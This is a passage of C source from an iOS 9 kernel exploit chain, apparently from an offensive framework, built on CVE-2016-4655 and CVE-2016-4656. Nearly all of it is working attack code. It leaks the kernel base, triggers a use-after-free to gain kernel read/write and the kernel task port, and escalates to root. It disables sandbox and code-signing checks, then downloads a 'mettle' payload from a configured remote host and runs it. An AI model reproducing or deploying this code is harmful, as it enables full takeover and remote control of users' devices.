    while (hlen >= nlen)
    {
        /* scan from the end of the needle */
        for (scan = last; haystack[scan] == needle[scan]; scan = scan - 1)
            if (scan == 0) /* If the first byte matches, we've found it. */
                return (void *)haystack;

        /* otherwise, we need to skip some bytes and start again.
           Note that here we are getting the skip value based on the last byte
           of needle, no matter where we didn't match. So if needle is: "abcd"
           then we are skipping based on 'd' and that value will be 4, and
           for "abcdd" we again skip on 'd' but the value will be only 1.
           The alternative of pretending that the mismatched character was
           the last character is slower in the normal case (E.g. finding
           "abcd" in "...azcd..." gives 4 by using 'd' but only
           4-2==2 using 'z'. */
        hlen     -= bad_char_skip[haystack[last]];
        haystack += bad_char_skip[haystack[last]];
    }

    return NULL;
}

void init_exploit(void * dlsym_addr, void * dlopen_addr)
{
  dlopen_func = dlopen_addr;
  dlsym_func = dlsym_addr;

  // Lookup functions
  void* libsystem = dlopen_func("/usr/lib/libSystem.B.dylib", RTLD_NOW);

#ifdef DEBUG
  typedef int (*asl_log_ptr)(aslclient asl, aslmsg msg, int level, const char *format, ...);
  asl_log_ptr asl_log_func = dlsym_func(libsystem, "asl_log");
#endif

  typedef void* (*memcpy_ptr)( void * destination, const void * source, size_t num);
  memcpy_ptr memcpy_func = dlsym_func(libsystem, "memcpy");

  void* libIOKit = dlopen_func("/System/Library/Frameworks/IOKit.framework/Versions/A/IOKit", RTLD_NOW);

  typedef CFMutableDictionaryRef (*IOServiceMatching_ptr)(const char *name);
  IOServiceMatching_ptr IOServiceMatching_func = dlsym_func(libIOKit, "IOServiceMatching");

  typedef io_service_t (*IOServiceGetMatchingService_ptr)(mach_port_t masterPort, CFDictionaryRef matching);
  IOServiceGetMatchingService_ptr IOServiceGetMatchingService_func = dlsym_func(libIOKit, "IOServiceGetMatchingService");

  typedef mach_port_t (*mach_task_self_ptr)();
  mach_task_self_ptr mach_task_self_func = dlsym_func(libIOKit, "mach_task_self");

  typedef kern_return_t (*io_service_open_extended_ptr)(mach_port_t service, task_t owningTask, uint32_t connect_type, NDR_record_t ndr, io_buf_ptr_t properties, mach_msg_type_number_t propertiesCnt, kern_return_t *result, mach_port_t *connection);
  io_service_open_extended_ptr io_service_open_extended_func = dlsym_func(libIOKit, "io_service_open_extended");

  typedef kern_return_t (*IORegistryEntryGetChildIterator_ptr)(io_registry_entry_t entry, const io_name_t plane, io_iterator_t *iterator);
  IORegistryEntryGetChildIterator_ptr IORegistryEntryGetChildIterator_func = dlsym_func(libIOKit, "IORegistryEntryGetChildIterator");

  typedef kern_return_t (*IOObjectRelease_ptr)(io_object_t object);
  IOObjectRelease_ptr IOObjectRelease_func = dlsym_func(libIOKit, "IOObjectRelease");

  typedef io_object_t (*IOIteratorNext_ptr)(io_iterator_t iterator);
  IOIteratorNext_ptr IOIteratorNext_func = dlsym_func(libIOKit, "IOIteratorNext");

  typedef kern_return_t (*IORegistryEntryGetProperty_ptr)(io_registry_entry_t entry, const io_name_t propertyName, io_struct_inband_t buffer, uint32_t *size);
  IORegistryEntryGetProperty_ptr IORegistryEntryGetProperty_func = dlsym_func(libIOKit, "IORegistryEntryGetProperty");

  clock_get_attributes_func = dlsym_func(libsystem, "clock_get_attributes");
  read_func = dlsym_func(libsystem, "read");
  write_func = dlsym_func(libsystem, "write");

  DLSYM_FUNC(malloc, libsystem, void*, size_t)
  DLSYM_FUNC(free, libsystem, void*)
  DLSYM_FUNC(getenv, libsystem, char*, const char*)
  DLSYM_FUNC(strcpy, libsystem, char*, char*, const char*)
  DLSYM_FUNC(strcat, libsystem, char*, char*, const char*)
  DLSYM_FUNC(strlen, libsystem, size_t, const char*)
  DLSYM_FUNC(open, libsystem, int, const char*, int flags, mode_t mode)
  DLSYM_FUNC(flock, libsystem, int, int fd, int operation)
  DLSYM_FUNC(pipe, libsystem, int, int* pipefd)
  DLSYM_FUNC(mach_host_self, libsystem, host_name_port_t)
  DLSYM_FUNC(host_get_clock_service, libsystem, kern_return_t, host_t host, clock_id_t id, clock_t clock_name)
  DLSYM_FUNC(host_get_io_master, libsystem, kern_return_t, host_t host, io_master_t *io_master)
  DLSYM_FUNC(io_service_get_matching_services_bin, libIOKit, kern_return_t, mach_port_t, char*, int, void*)

  DLSYM_FUNC(pthread_create, libsystem, int, pthread_t *thread, const pthread_attr_t *attr, void *(*start_routine) (void *), void *arg);
  DLSYM_FUNC(sleep, libsystem, unsigned int, unsigned int);
  DLSYM_FUNC(fstat, libsystem, int, int fildes, struct stat *buf);
  DLSYM_FUNC(setreuid, libsystem, int, uid_t ruid, uid_t euid);
  DLSYM_FUNC(getuid, libsystem, uid_t);

  DLSYM_FUNC(uname, libsystem, int, struct utsname *buf);
  DLSYM_FUNC(sysctl, libsystem, int, int *name, u_int namelen, void *oldp, size_t *oldlenp, void *newp, size_t newlen);

  DLSYM_FUNC(task_for_pid, libsystem, kern_return_t, mach_port_name_t target_tport, int pid, mach_port_name_t *t);
  DLSYM_FUNC(vm_write, libsystem, kern_return_t, vm_map_t target_task, vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt);
  DLSYM_FUNC(vm_read_overwrite, libsystem, kern_return_t, vm_map_t target_task, vm_address_t address, vm_size_t size, vm_address_t data, vm_size_t *outsize);

  DLSYM_FUNC(socket, libsystem, int, int, int, int);
  DLSYM_FUNC(connect, libsystem, int, int sockfd, const struct sockaddr *addr, socklen_t addrlen);
  DLSYM_FUNC(send, libsystem, ssize_t, int sockfd, const void *buf, size_t len, int flags);
  DLSYM_FUNC(recv, libsystem, ssize_t, int sockfd, const void *buf, size_t len, int flags);
  DLSYM_FUNC(close, libsystem, int, int fd);
  DLSYM_FUNC(unlink, libsystem, int, const char* file);

  // Init
  const char *lock_last_path_component = "/tmp/lock";
  char *home = getenv_func("HOME");

  size_t locklen = strlen_func(home) + strlen_func(lock_last_path_component) + 1;
  lockfile = malloc_func(locklen);
  strcpy_func(lockfile, home);
  strcat_func(lockfile, lock_last_path_component);

  fd = open_func(lockfile, O_CREAT | O_WRONLY, 0644);

  flock_func(fd, LOCK_EX);
  pipe_func(fildes);

  struct utsname systeminfo;
  uname_func(&systeminfo);

  debug_print("Found device: %s\n", systeminfo.machine);

  char osname[32];
  size_t s = sizeof(osname);
  int cmd[2] = { CTL_KERN, KERN_OSVERSION };
  if(sysctl_func(cmd, sizeof(cmd) / sizeof(*cmd), osname, &s, NULL, 0) != 0) {
    debug_print("%s\n", "Could not detect device version");
    return;
  }

  bool pre91 = false;
  const char* osversion = 0;
  debug_print("Found version: %s\n", osname);
  if (osname[2] == 'A') {
    osversion = "9.0.2";
    pre91 = true;
  } else if (osname[2] == 'B') {
    osversion = "9.1";
  } else if (osname[2] == 'C') {
    osversion = "9.2";
  } else if (osname[2] == 'D') {
    osversion = "9.2.1";
  } else if (osname[2] == 'E') {
    osversion = "9.3";
  } else if (osname[2] == 'F') {
    osversion = "9.3.2";
  } else if (osname[2] == 'G') {
    osversion = "9.3.3";
  } else {
    debug_print("%s\n", "Unsupported version");
    return;
  }

  debug_print("Guessed version for offsets: %s\n", osversion);
  target_environment = info_to_target_environment(systeminfo.machine, osversion);
  if (!target_environment) {
    debug_print("%s\n", "Unsupported version");
    return;
  }




  kern_return_t kr;
  kr = host_get_clock_service_func(mach_host_self_func(), CALENDAR_CLOCK, (clock_t)&clk_battery);
  if (kr != 0) {
    debug_print("%s\n", "clk_battery fail");
    return;
  }

  kr = host_get_clock_service_func(mach_host_self_func(), REALTIME_CLOCK, (clock_t)&clk_realtime);
  if (kr != 0) {
    debug_print("%s\n", "clk_realtime fail");
    return;
  }
 
  // CVE-2016-4655
  char data[4096];
  uint32_t bufpos = 0;

  memcpy_func(data, kOSSerializeBinarySignature, sizeof(kOSSerializeBinarySignature));
  bufpos += sizeof(kOSSerializeBinarySignature);

  WRITE_IN(data, kOSSerializeDictionary | kOSSerializeEndCollecton | 2);

  WRITE_IN(data, kOSSerializeSymbol | 30);
  WRITE_IN(data, 0x4b444948); // "HIDKeyboardModifierMappingSrc"
  WRITE_IN(data, 0x6f627965);
  WRITE_IN(data, 0x4d647261);
  WRITE_IN(data, 0x6669646f);
  WRITE_IN(data, 0x4d726569);
  WRITE_IN(data, 0x69707061);
  WRITE_IN(data, 0x7253676e);
  WRITE_IN(data, 0x00000063);
  WRITE_IN(data, kOSSerializeNumber | 2048);
  WRITE_IN(data, 0x00000004);
  WRITE_IN(data, 0x00000000);

  WRITE_IN(data, kOSSerializeSymbol | 30);
  WRITE_IN(data, 0x4b444948); // "HIDKeyboardModifierMappingDst"
  WRITE_IN(data, 0x6f627965);
  WRITE_IN(data, 0x4d647261);
  WRITE_IN(data, 0x6669646f);
  WRITE_IN(data, 0x4d726569);
  WRITE_IN(data, 0x69707061);
  WRITE_IN(data, 0x7344676e);
  WRITE_IN(data, 0x00000074);
  WRITE_IN(data, kOSSerializeNumber | kOSSerializeEndCollecton | 32);
  WRITE_IN(data, 0x00000193);
  WRITE_IN(data, 0X00000000);

  CFMutableDictionaryRef amfi = IOServiceMatching_func("AppleMobileFileIntegrity");
  io_service_t service = IOServiceGetMatchingService_func(0, amfi);
  io_connect_t connection;
  kern_return_t result;

  NDR_record_t* NDR_record_lookup = dlsym_func(libIOKit, "NDR_record");
  io_service_open_extended_func(service, mach_task_self_func(), 0, *NDR_record_lookup, data, bufpos, &result, &connection);
  if (result != KERN_SUCCESS) {
    debug_print("%s\n", "io_service_open_extended fail");
    return;
  }

  io_object_t object = 0;
  uint32_t size = sizeof(data);
  io_iterator_t iterator;
  IORegistryEntryGetChildIterator_func(service, "IOService", &iterator);

  do {
    if (object) {
      IOObjectRelease_func(object);
    }
    object = IOIteratorNext_func(iterator);
  } while (IORegistryEntryGetProperty_func(object, "HIDKeyboardModifierMappingSrc", data, &size));

  uint32_t kernel_base = 0;
  if (size > 8) {
    kernel_base = (*(uint32_t *)(data+36) & 0xFFF00000) + 0x1000;
  }

  debug_print("found kernel_base %p!\n", (void*)kernel_base);


  // CVE-2016-4656
  pthread_t insert_payload_thread;
  volatile uint32_t payload_ptr = 0x12345678;
  uint32_t args[] = {kernel_base, (uint32_t)&payload_ptr};

  mach_port_t master = 0, res;
  struct stat buf;
  mach_port_name_t kernel_task;

  pthread_create_func(&insert_payload_thread, NULL, &insert_payload, args);

  while (payload_ptr == 0x12345678);
  sleep_func(1);

  memcpy_func(data, kOSSerializeBinarySignature, sizeof(kOSSerializeBinarySignature));
  bufpos = sizeof(kOSSerializeBinarySignature);


  WRITE_IN(data, kOSSerializeDictionary | kOSSerializeEndCollecton | 0x10);
  if (pre91)
  {
    /* pre-9.1 doesn't accept strings as keys, but duplicate keys :D */
    WRITE_IN(data, kOSSerializeSymbol | 4);
    WRITE_IN(data, 0x00327973); // "sy2"
    /* our key is a OSString object that will be freed */
    WRITE_IN(data, kOSSerializeString | 4);
    WRITE_IN(data, 0x00327973); // irrelevant

    /* now this will free the string above */
    WRITE_IN(data, kOSSerializeObject | 1); // ref to "sy2"
    WRITE_IN(data, kOSSerializeBoolean | 1); // lightweight value

    /* and this is the key for the value below */
    WRITE_IN(data, kOSSerializeObject | 1); // ref to "sy2" again
  }
  else
  {
    /* our key is a OSString object that will be freed */
    WRITE_IN(data, kOSSerializeString | 4);
    WRITE_IN(data, 0x00327973); // "sy2"
  }
  WRITE_IN(data, kOSSerializeData | 0x14);
  WRITE_IN(data, payload_ptr+PAYLOAD_TO_PEXPLOIT+PEXPLOIT_TO_UAF_PAYLOAD); // [00] address of uaf_payload_buffer
  WRITE_IN(data, 0x41414141);                                              // [04] dummy
  WRITE_IN(data, payload_ptr+PAYLOAD_TO_PEXPLOIT);                         // [08] address of uaf_payload_buffer - 8
  WRITE_IN(data, 0x00000014);                                              // [0C] static value of 20
  WRITE_IN(data, kernel_base+find_OSSerializer_serialize()+1);             // [10] address of OSSerializer::serialize (+1)

  /* now create a reference to object 1 which is the OSString object that was just freed */
  WRITE_IN(data, kOSSerializeObject | kOSSerializeEndCollecton | (pre91 ? 2 : 1));

  /* get a master port for IOKit API */
  host_get_io_master_func(mach_host_self_func(), &master);

  /* trigger the bug */
  kr = io_service_get_matching_services_bin_func(master, data, bufpos, &res);

  /* test read primitive */
  uint32_t kernel_header = read_primitive(kernel_base);
  debug_print("kernel_header = %p!\n", (void*)kernel_header);

  vm_kernel_addrperm = read_primitive(kernel_base+find_vm_kernel_addrperm());

  /* pipe test */
  fstat_func(fildes[0], &buf);
  cpipe = (uint32_t)(buf.st_ino - vm_kernel_addrperm);

  write_func(fildes[1], "ABCDEFGH", 8);
  read_primitive(cpipe);
  pipebuf = read_primitive(cpipe+16);
  if (read_primitive(pipebuf) != 0x44434241) { // "ABCD" 
    debug_print("%s\n", "read_primitive fail");
    return;
  }
  if (read_primitive(pipebuf+4) != 0x48474645) { // "EFGH"
    debug_print("%s\n", "read_primitive fail");
    return;
  }

  read_func(fildes[0], data, 4096);

  /* test write primitive */
  write_gadget = kernel_base + find_write_gadget();

  write_primitive(pipebuf, 0x41424142);
  if (read_primitive(pipebuf) != 0x41424142) {
    debug_print("%s\n", "read_primitive fail");
    return;
  }

  /* patch kernel pmap */
  patch_kernel_pmap(kernel_base);

  /* test kernel pmap patch */
  write_primitive(kernel_base, 0x41424142);
  kernel_header = read_primitive(kernel_base);
  debug_print("kernel_header = %p!\n", (void*)kernel_header);
  write_primitive(kernel_base, 0xfeedface);
  kernel_header = read_primitive(kernel_base);
  debug_print("kernel_header = %p!\n", (void*)kernel_header);
    
  kr = task_for_pid_func(mach_task_self_func(), 0, &kernel_task);
  if (kr != 0) {
    debug_print("%s\n", "patching task_for_pid!");
    patch_task_for_pid(kernel_base);
    sleep_func(1);
    kr = task_for_pid_func(mach_task_self_func(), 0, &kernel_task);
    if (kr != 0) {
      debug_print("%s\n", "tfp0 fail");
      return;
    }
  } else {
    debug_print("%s\n", "tfp0 win!");
  }

  /* test kernel task port */
  char* kbase = malloc_func(0x1000);
  if (kbase == 0) {
    debug_print("%s\n", "malloc fail");
    return;
  }
  vm_size_t memsize;
  kr = vm_read_overwrite_func(kernel_task, kernel_base, 0x1000, (vm_address_t)kbase, &memsize);
  if (kr != 0) {
    debug_print("%s\n", "vm_read fail");
    return;
  }
  mach_header_t *mh=(struct mach_header *)kbase;
  if(mh->magic != 0xfeedface) {
    debug_print("%s\n", "magic fail");
    return;
  }

  /* patch setreuid */
  debug_print("getuid() = %d!\n", getuid_func());
  /*assert(getuid() != 0);*/
  uint32_t setreuid_base = find_setreuid() + kernel_base;
  uint32_t branch_addr = 0x3e + setreuid_base;
  ushort new_branch = find_setreuid_cred_update(); // b loc_802aaa2c
  vm_write_func(kernel_task, branch_addr, (vm_address_t)&new_branch, 2);

  sleep_func(1);

  /*assert(setreuid(0, 0) == 0);*/
  setreuid_func(0, 0);

  /* got root? */
  debug_print("getuid() = %d!\n", getuid_func());
  /*assert(getuid() == 0);*/

  uint32_t kernel_start = 0xffffffff;
  uint32_t kernel_end = 0;
  
  debug_print("ncmds = %d!\n", mh->ncmds);
  struct load_command *lc=(struct load_command *)(mh+1);
  for (int i=0;i<mh->ncmds; i++) {
    if (lc->cmd == LC_SEGMENT_T) {
      struct segment_command *sc = (struct segment_command*)lc;
      debug_print("found segment %s!\n", sc->segname);
      if (sc->vmaddr < kernel_start) {
        kernel_start = sc->vmaddr;
      }
      if (sc->vmaddr+sc->vmsize > kernel_end) {
        kernel_end = sc->vmaddr+sc->vmsize;
      }
    }
    lc=(struct load_command*)(((char *)lc)+lc->cmdsize);
  }

  size_t kernel_size = (kernel_end - kernel_start);
  debug_print("kernel start %p, end %p, size %p!\n", (void*)kernel_start, (void*)kernel_end, (void*)(kernel_size));
  free_func(kbase);

  vm_address_t kdata = (vm_address_t)malloc_func(kernel_size);
  for (int i=0; (i<<12)<kernel_size; i++) {
      vm_read_overwrite_func(kernel_task, kernel_base+(i<<12), 4096, kdata+(i<<12), &memsize);
  }

  debug_print("kdata %p, end %p, size %p!\n", (void*)kdata, (void*)(kdata + kernel_size), (void*)(kernel_size));
  uint8_t *seatbeltstr = boyermoore_horspool_memmem((unsigned char*)kdata, kernel_size, (uint8_t *)"Seatbelt sandbox policy", sizeof("Seatbelt sandbox policy") - 1);
  if (!seatbeltstr) {
    debug_print("%s\n", "seatbelt fail");
    return;
  }
  uint32_t what = (uint32_t)(seatbeltstr - kdata) + kernel_start;
  uint32_t sbops = 0;
  for (uint32_t off = 0; off < kernel_size; off += 4) {
    if (*(uint32_t*)(kdata + off) == what) {
      sbops = *(uint32_t*)(kdata + off + 12);
      debug_print("sbops found %p\n", (void*)(sbops));
      break;
    }
  }

  /* fixes kernel[0] <Notice>: Sandbox: com.apple.WebKit(180) deny(1) file-read-data /private/var/root/log.dylib*/
  write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_file_check_mmap), 0);
  write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_rename), 0);
  write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_rename), 0);
  write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_access), 0);
  write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_chroot), 0);
  write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_create), 0);
  write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_deleteextattr), 0);
  write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_exchangedata), 0);
  write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_exec), 0);
  write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_getattrlist), 0);
  write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_getextattr), 0);
  write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_ioctl), 0);
  write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_link), 0);
  write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_listextattr), 0);
  write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_open), 0);
  write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_readlink), 0);
  write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setattrlist), 0);
  write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setextattr), 0);
  write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setflags), 0);
  write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setmode), 0);
  write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setowner), 0);
  write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setutimes), 0);
  write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setutimes), 0);
  write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_stat), 0);
  write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_truncate), 0);
  write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_unlink), 0);
  write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_notify_create), 0);
  write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_fsgetpath), 0);
  write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_getattr), 0);
  write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_mount_check_stat), 0);
  write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_proc_check_fork), 0);
  write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_iokit_check_get_property), 0);
  write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_accept), 0);
  write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_accepted), 0);
  write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_bind), 0);
  write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_connect), 0);
  write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_create), 0);
  write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_label_update), 0);
  write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_listen), 0);
  write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_receive), 0);
  write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_received), 0);
  write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_select), 0);
  write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_send), 0);
  write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_stat), 0);
  write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_setsockopt), 0);
  write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_getsockopt), 0);

  uint8_t *amfistr = boyermoore_horspool_memmem((unsigned char*)kdata, kernel_size, (uint8_t *)"Apple Mobile File Integrity", sizeof("Apple Mobile File Integrity") - 1);
  if (!amfistr) {
    debug_print("%s\n", "amfistr fail");
    return;
  }
  uint32_t amfiwhat = (uint32_t)(amfistr - kdata) + kernel_start;
  uint32_t amfiops = 0;
  for (uint32_t off = 0; off < kernel_size; off += 4) {
    if (*(uint32_t*)(kdata + off) == amfiwhat) {
      debug_print("amfiops found %p\n", (void*)(kdata + off));
      amfiops = *(uint32_t*)(kdata + off + 12);
      break;
    }
  }
  write_primitive(amfiops+offsetof(struct mac_policy_ops, mpo_file_check_mmap), 0);
  
  uint8_t *amfidriverstr = boyermoore_horspool_memmem((unsigned char*)kdata, kernel_size, (uint8_t *)"com.apple.driver.AppleMobileFileIntegrity", sizeof("com.apple.driver.AppleMobileFileIntegrity") - 1);
  /*uint32_t cs_enforce_maybe = (amfidriverstr - kdata) + kernel_start + 0xb0;*/
  /*write_primitive(cs_enforce_maybe, 1);*/

  debug_print("amfidriverstr found %p\n", (void*)(amfidriverstr));
  uint32_t* amfi_macho = (uint32_t*)((uint32_t)amfidriverstr & 0xfffff000);
  uint32_t amfi_macho_start = 0;
  while (amfi_macho > (uint32_t*)kdata) {
    if (*amfi_macho == MH_MAGIC) {
      debug_print("amfimacho found %p\n", (void*)((uint32_t)amfi_macho - (uint32_t)kdata));
      amfi_macho_start = ((uint32_t)amfi_macho - (uint32_t)kdata);
      break;
    }
    amfi_macho = (void*)((uint32_t)amfi_macho - 0x1000);
  }

  uint32_t memcmp_what = kernel_start + find_memcmp() + 1;
  debug_print("memcmp_what %p\n", (void*)(memcmp_what));
  uint32_t amfi_memcmp_off;
  for (amfi_memcmp_off = amfi_macho_start; amfi_memcmp_off < kernel_size; amfi_memcmp_off += 4) {
    if (*(uint32_t*)((uint32_t)kdata + amfi_memcmp_off) == memcmp_what) {
      break;
    }
  }
  debug_print("amfi_memcmp_off %p\n", (void*)(amfi_memcmp_off));

  uint32_t amfi_memcmp_stub_found;
  for (uint32_t amfi_memcmp_stub = amfi_macho_start; amfi_memcmp_stub < kernel_size - 16; amfi_memcmp_stub += 2) {
    if ((*(uint16_t*)((uint32_t)kdata + amfi_memcmp_stub + 8) == 0x44fc) &&      // add ip, pc
        (*(uint32_t*)((uint32_t)kdata + amfi_memcmp_stub + 10) == 0xc000f8dc) && // ldr.w ip, [ip]
        (*(uint16_t*)((uint32_t)kdata + amfi_memcmp_stub + 14) == 0x4760)) {     // bx ip

      uint32_t instruction1 = *(uint32_t*)((uint32_t)kdata + amfi_memcmp_stub);
      uint32_t instruction2 = *(uint32_t*)((uint32_t)kdata + amfi_memcmp_stub+4);
      uint32_t ip_offset = amfi_memcmp_off - (amfi_memcmp_stub + 12);
      /*if (amfi_memcmp_stub == 0x776be8) {*/
        /*debug_print("found stub %p %p %p %p\n", (void*)amfi_memcmp_stub, (void*)(ip_offset), (void*)instruction1, (void*)instruction2);*/
      /*}*/

      if (insn_is_32bit((uint16_t*)&instruction1) &&
          insn_is_32bit((uint16_t*)&instruction2) &&
          (bit_range(instruction1, 28, 24) == 0xc) && // r12
          (bit_range(instruction2, 28, 24) == 0xc) && // r12
          (decode_immed(instruction1) == (ip_offset & 0xffff)) &&
          (decode_immed(instruction2) == (ip_offset >> 16)) &&
          1) {
        debug_print("good stub %p %p %p %p\n", (void*)amfi_memcmp_stub, (void*)(ip_offset), (void*)instruction1, (void*)instruction2);
        amfi_memcmp_stub_found = amfi_memcmp_stub;
        break;
      }
    }
  }

  free_func(kdata);

  if (amfi_memcmp_stub_found) {
    uint32_t amfi_memcmp = amfi_memcmp_stub_found + kernel_start;
    debug_print("amfi memcmp is %p\n", (void*)(amfi_memcmp));

    /*[> fixes amfid[193] <Error>: /private/var/root/log.dylib not valid: 0xe800801c: No code signature found.<]*/
    write_primitive(amfi_memcmp, 0x47702000); // mov r0, #0; bx lr
  }

  const char config_placeholder[1024] = "PAYLOAD_URL";
  const char *payload_file = "/var/root/mettle.dylib";

  // Load the payload from server
  debug_print("%s\n", "Connecting...");
  int sockfd = 0;
  struct sockaddr_in serv_addr;
  const char *getpayload = "GET /payload32 HTTP/1.1\r\n\r\n";
  const int chunk_size = 4096;
  char* payload_buffer = malloc_func(chunk_size);
  if ((sockfd = socket_func(AF_INET, SOCK_STREAM, 0)) < 0) {
    debug_print("%s\n", "Could not connect socket");
    return;
  }

  serv_addr.sin_family = AF_INET;
  serv_addr.sin_addr.s_addr = *(uint32_t*)config_placeholder;
  serv_addr.sin_port = *(uint16_t*)(config_placeholder + 4);
  debug_print("Connecting: %p p %hu\n", (void*)*(uint32_t*)&serv_addr.sin_addr, serv_addr.sin_port);

  if (connect_func(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
    debug_print("%s\n", "Could not connect");
    return;
  }
  send_func(sockfd, getpayload, strlen_func(getpayload), 0);

  unlink_func(payload_file);
  int payloadfd = open_func(payload_file, O_WRONLY | O_CREAT, 0700);
  int read_header = 0;
  int n;
  while ((n = read_func(sockfd, payload_buffer, chunk_size)) > 0) {
    if (!read_header) {
      char * payload_start = (char*)boyermoore_horspool_memmem((unsigned char*)payload_buffer, chunk_size, (unsigned char*)"\xce\xfa\xed\xfe", 4);
      write_func(payloadfd, payload_start, n - (payload_start - payload_buffer));
      read_header = 1;
    } else {
      write_func(payloadfd, payload_buffer, n);
    }
  }

  close_func(payloadfd);
  close_func(sockfd);
  free_func(payload_buffer);

  // Launch the payload
  void* libmettle = dlopen_func(payload_file, RTLD_NOW);
  debug_print("mettle found %p\n", (void*)(libmettle));
  typedef int (*main_ptr)(int argc, const char *argv[]);
  main_ptr main_func = dlsym_func(libmettle, "main");
  const char * progname = "mettle";
  const char * arg1 = "-u";
  const char * arg2 = config_placeholder+6;
  const char *argv[] = { progname, arg1, arg2, NULL };
  debug_print("main %p\n", main_func);
  int mainret = main_func(3, argv);
  debug_print("main finished %d\n", mainret);

}


